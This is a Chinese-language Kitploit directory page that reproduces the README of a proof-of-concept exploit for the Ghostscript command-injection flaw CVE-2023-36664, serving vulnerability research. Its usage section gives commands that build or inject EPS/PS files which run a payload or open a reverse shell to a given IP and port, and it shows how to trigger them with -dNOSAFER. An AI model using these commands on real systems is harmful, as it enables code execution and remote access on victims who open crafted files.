Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-36664-Ghostscript-command-injection — 针对Ghostscript命令注入(CVE-2023-36664)的概念验证漏洞利用,包含有效载荷生成以及注入EPS/PS文件以实现代码执行。 | Kitploit
工具/GitHubGitHub/churamanib/cve-2023-36664-ghostscript-command-injection
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育
GitHubchuramanib/cve-2023-36664-ghostscript-command-injection

CVE-2023-36664-Ghostscript-command-injection

针对Ghostscript命令注入(CVE-2023-36664)的概念验证漏洞利用,包含有效载荷生成以及注入EPS/PS文件以实现代码执行。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
2年前尚未审核

Ghostscript 命令注入漏洞 PoC (CVE-2023-36664)

10.01.2 之前版本的 Ghostscript 存在漏洞,可导致代码执行(CVSS 评分 9.8)。

官方漏洞描述:

Artifex Ghostscript 直至 10.01.2 版本在处理管道设备(使用 %pipe% 前缀或 | 管道字符前缀)时,权限验证处理不当。

Debian 发布的安全公告提到可能执行任意命令:

“发现 Ghostscript(GPL PostScript/PDF 解释器)在处理管道设备的权限验证时处理不当,若处理格式错误的文档文件,可能导致执行任意命令。”

该仓库是为 vsociety 博客上的 CVE 分析博文创建的。

利用方法

在此下载 Ghostscript 10.01.1:https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Windows x64 可执行文件直接链接:https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe

利用可在打开 PS 或 EPS 文件时发生,由于 Ghostscript 对管道设备的权限验证处理不当,可导致代码执行。

用法:python3 CVE_2023_36664_exploit.py <输入文件> <命令>

示例:

root@kitploit:~
python3 CVE_2023_36664_exploit.py file.eps "calc"

这会生成一个名为 file_injected.eps 的新文件。

用 Ghostscript 打开此文件以触发计算器(从版本 9.50 开始还需使用 -dNOSAFER 选项):

root@kitploit:~
gs10011w64.exe -dNOSAFER .\file_injected.eps
证明

其他示例: 生成一个名为 run_calculator.eps 的新 EPS 文件,包含 payload "calc"(在 Windows 上弹出新的计算器)

root@kitploit:~
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps

生成一个名为 rev_shell.eps 的新 EPS 文件,包含自定义 IP(在 Unix 上触发时启动反向 shell)

root@kitploit:~
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps

生成一个名为 malicius.ps 的新 PS 文件,包含 payload "calc"(在 Windows 上弹出新的计算器)

root@kitploit:~
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps

向现有文件 file.eps 注入恶意自定义 payload("calc")(在 Windows 上弹出新的计算器)

root@kitploit:~
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps

免责声明

本软件纯粹出于学术研究和开发有效防御技术的目的而创建,并非用于攻击系统,除非明确授权。项目维护者不对软件的误用负责。请负责任地使用。

下载工具